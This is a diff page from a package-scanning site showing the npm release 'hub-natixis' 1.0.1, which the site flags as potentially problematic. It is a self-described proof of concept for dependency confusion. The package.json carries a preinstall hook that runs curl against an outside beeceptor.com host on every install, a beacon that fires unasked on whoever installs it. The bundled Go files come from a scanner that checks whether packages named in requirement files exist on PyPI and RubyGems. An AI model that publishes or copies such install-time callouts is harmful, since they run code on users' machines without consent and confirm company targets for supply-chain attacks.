hub-natixis 1.0.1

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of hub-natixis might be problematic. Click here for more details.

package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "hub-natixis",
3
+ "version": "1.0.1",
4
+ "description": "poc by foysal1197",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "curl https://ase33.free.beeceptor.com"
9
+ },
10
+ "repository": {
11
+ "type": "git",
12
+ "url": "git+https://github.com/visma-prodsec/confused.git"
13
+ },
14
+ "author": "",
15
+ "license": "ISC",
16
+ "bugs": {
17
+ "url": "https://github.com/visma-prodsec/confused/issues"
18
+ },
19
+ "homepage": "https://github.com/visma-prodsec/confused#readme"
20
+ }
package/pip.go ADDED
@@ -0,0 +1,99 @@
1
+ package main
2
+
3
+ import (
4
+ "fmt"
5
+ "io/ioutil"
6
+ "net/http"
7
+ "strings"
8
+ )
9
+
10
+ // PythonLookup represents a collection of python packages to be tested for dependency confusion.
11
+ type PythonLookup struct {
12
+ Packages []string
13
+ Verbose bool
14
+ }
15
+
16
+ // NewPythonLookup constructs a `PythonLookup` struct and returns it
17
+ func NewPythonLookup(verbose bool) PackageResolver {
18
+ return &PythonLookup{Packages: []string{}, Verbose: verbose}
19
+ }
20
+
21
+ // ReadPackagesFromFile reads package information from a python `requirements.txt` file
22
+ //
23
+ // Returns any errors encountered
24
+ func (p *PythonLookup) ReadPackagesFromFile(filename string) error {
25
+ rawfile, err := ioutil.ReadFile(filename)
26
+ if err != nil {
27
+ return err
28
+ }
29
+ line := ""
30
+ for _, l := range strings.Split(string(rawfile), "\n") {
31
+ l = strings.TrimSpace(l)
32
+ if strings.HasPrefix(l, "#") {
33
+ continue
34
+ }
35
+ if len(l) > 0 {
36
+ // Support line continuation
37
+ if strings.HasSuffix(l, "\\") {
38
+ line += l[:len(l) - 1]
39
+ continue
40
+ }
41
+ line += l
42
+ pkgrow := strings.FieldsFunc(line, p.pipSplit)
43
+ if len(pkgrow) > 0 {
44
+ p.Packages = append(p.Packages, strings.TrimSpace(pkgrow[0]))
45
+ }
46
+ // reset the line variable
47
+ line = ""
48
+ }
49
+ }
50
+ return nil
51
+ }
52
+
53
+ // PackagesNotInPublic determines if a python package does not exist in the pypi package repository.
54
+ //
55
+ // Returns a slice of strings with any python packages not in the pypi package repository
56
+ func (p *PythonLookup) PackagesNotInPublic() []string {
57
+ notavail := []string{}
58
+ for _, pkg := range p.Packages {
59
+ if !p.isAvailableInPublic(pkg) {
60
+ notavail = append(notavail, pkg)
61
+ }
62
+ }
63
+ return notavail
64
+ }
65
+
66
+ func (p *PythonLookup) pipSplit(r rune) bool {
67
+ delims := []rune{
68
+ '=',
69
+ '<',
70
+ '>',
71
+ '!',
72
+ ' ',
73
+ '~',
74
+ '#',
75
+ '[',
76
+ }
77
+ return inSlice(r, delims)
78
+ }
79
+
80
+ // isAvailableInPublic determines if a python package exists in the pypi package repository.
81
+ //
82
+ // Returns true if the package exists in the pypi package repository.
83
+ func (p *PythonLookup) isAvailableInPublic(pkgname string) bool {
84
+ if p.Verbose {
85
+ fmt.Print("Checking: https://pypi.org/project/" + pkgname + "/ : ")
86
+ }
87
+ resp, err := http.Get("https://pypi.org/project/" + pkgname + "/")
88
+ if err != nil {
89
+ fmt.Printf(" [W] Error when trying to request https://pypi.org/project/"+pkgname+"/ : %s\n", err)
90
+ return false
91
+ }
92
+ if p.Verbose {
93
+ fmt.Printf("%s\n", resp.Status)
94
+ }
95
+ if resp.StatusCode == http.StatusOK {
96
+ return true
97
+ }
98
+ return false
99
+ }
package/rubygems.go ADDED
@@ -0,0 +1,149 @@
1
+ package main
2
+
3
+ import (
4
+ "bufio"
5
+ "encoding/json"
6
+ "fmt"
7
+ "io/ioutil"
8
+ "net/http"
9
+ "os"
10
+ "strings"
11
+ "time"
12
+ )
13
+
14
+ type Gem struct {
15
+ Remote string
16
+ IsLocal bool
17
+ IsRubyGems bool
18
+ IsTransitive bool
19
+ Name string
20
+ Version string
21
+ }
22
+
23
+ type RubyGemsResponse struct {
24
+ Name string `json:"name"`
25
+ Downloads int64 `json:"downloads"`
26
+ Version string `json:"version"`
27
+ }
28
+
29
+ // RubyGemsLookup represents a collection of rubygems packages to be tested for dependency confusion.
30
+ type RubyGemsLookup struct {
31
+ Packages []Gem
32
+ Verbose bool
33
+ }
34
+
35
+ // NewRubyGemsLookup constructs an `RubyGemsLookup` struct and returns it.
36
+ func NewRubyGemsLookup(verbose bool) PackageResolver {
37
+ return &RubyGemsLookup{Packages: []Gem{}, Verbose: verbose}
38
+ }
39
+
40
+ // ReadPackagesFromFile reads package information from a Gemfile.lock file
41
+ //
42
+ // Returns any errors encountered
43
+ func (r *RubyGemsLookup) ReadPackagesFromFile(filename string) error {
44
+ file, err := os.Open(filename)
45
+ if err != nil {
46
+ return err
47
+ }
48
+ defer file.Close()
49
+ scanner := bufio.NewScanner(file)
50
+ var remote string
51
+ for scanner.Scan() {
52
+ line := scanner.Text()
53
+ trimmedLine := strings.TrimSpace(line)
54
+ if strings.HasPrefix(trimmedLine, "remote:") {
55
+ remote = strings.TrimSpace(strings.SplitN(trimmedLine, ":", 2)[1])
56
+ } else if trimmedLine == "revision:" {
57
+ continue
58
+ } else if trimmedLine == "branch:" {
59
+ continue
60
+ } else if trimmedLine == "GIT" {
61
+ continue
62
+ } else if trimmedLine == "GEM" {
63
+ continue
64
+ } else if trimmedLine == "PATH" {
65
+ continue
66
+ } else if trimmedLine == "PLATFORMS" {
67
+ break
68
+ } else if trimmedLine == "specs:" {
69
+ continue
70
+ } else if len(trimmedLine) > 0 {
71
+ parts := strings.SplitN(trimmedLine, " ", 2)
72
+ name := strings.TrimSpace(parts[0])
73
+ var version string
74
+ if len(parts) > 1 {
75
+ version = strings.TrimRight(strings.TrimLeft(parts[1], "("), ")")
76
+ } else {
77
+ version = ""
78
+ }
79
+ r.Packages = append(r.Packages, Gem{
80
+ Remote: remote,
81
+ IsLocal: !strings.HasPrefix(remote, "http"),
82
+ IsRubyGems: strings.HasPrefix(remote, "https://rubygems.org"),
83
+ IsTransitive: countLeadingSpaces(line) == 6,
84
+ Name: name,
85
+ Version: version,
86
+ })
87
+ } else {
88
+ continue
89
+ }
90
+ }
91
+ return nil
92
+ }
93
+
94
+ // PackagesNotInPublic determines if a rubygems package does not exist in the public rubygems package repository.
95
+ //
96
+ // Returns a slice of strings with any rubygem packages not in the public rubygems package repository
97
+ func (r *RubyGemsLookup) PackagesNotInPublic() []string {
98
+ notavail := []string{}
99
+ for _, pkg := range r.Packages {
100
+ if pkg.IsLocal || !pkg.IsRubyGems {
101
+ continue
102
+ }
103
+ if !r.isAvailableInPublic(pkg.Name, 0) {
104
+ notavail = append(notavail, pkg.Name)
105
+ }
106
+ }
107
+ return notavail
108
+ }
109
+
110
+ // isAvailableInPublic determines if a rubygems package exists in the public rubygems.org package repository.
111
+ //
112
+ // Returns true if the package exists in the public rubygems package repository.
113
+ func (r *RubyGemsLookup) isAvailableInPublic(pkgname string, retry int) bool {
114
+ if retry > 3 {
115
+ fmt.Printf(" [W] Maximum number of retries exhausted for package: %s\n", pkgname)
116
+ return false
117
+ }
118
+ url := fmt.Sprintf("https://rubygems.org/api/v1/gems/%s.json", pkgname)
119
+ if r.Verbose {
120
+ fmt.Printf("Checking: %s : \n", url)
121
+ }
122
+ resp, err := http.Get(url)
123
+ if err != nil {
124
+ fmt.Printf(" [W] Error when trying to request %s: %s\n", url, err)
125
+ return false
126
+ }
127
+ defer resp.Body.Close()
128
+ if r.Verbose {
129
+ fmt.Printf("%s\n", resp.Status)
130
+ }
131
+ if resp.StatusCode == http.StatusOK {
132
+ rubygemsResp := RubyGemsResponse{}
133
+ body, _ := ioutil.ReadAll(resp.Body)
134
+ err = json.Unmarshal(body, &rubygemsResp)
135
+ if err != nil {
136
+ // This shouldn't ever happen because if it doesn't return JSON, it likely has returned
137
+ // a non-200 status code.
138
+ fmt.Printf(" [W] Error when trying to unmarshal response from %s: %s\n", url, err)
139
+ return false
140
+ }
141
+ return true
142
+ } else if resp.StatusCode == 429 {
143
+ fmt.Printf(" [!] Server responded with 429 (Too many requests), throttling and retrying...\n")
144
+ time.Sleep(10 * time.Second)
145
+ retry = retry + 1
146
+ return r.isAvailableInPublic(pkgname, retry)
147
+ }
148
+ return false
149
+ }
package/util.go ADDED
@@ -0,0 +1,16 @@
1
+ package main
2
+
3
+ import "strings"
4
+
5
+ func inSlice(what rune, where []rune) bool {
6
+ for _, r := range where {
7
+ if r == what {
8
+ return true
9
+ }
10
+ }
11
+ return false
12
+ }
13
+
14
+ func countLeadingSpaces(line string) int {
15
+ return len(line) - len(strings.TrimLeft(line, " "))
16
+ }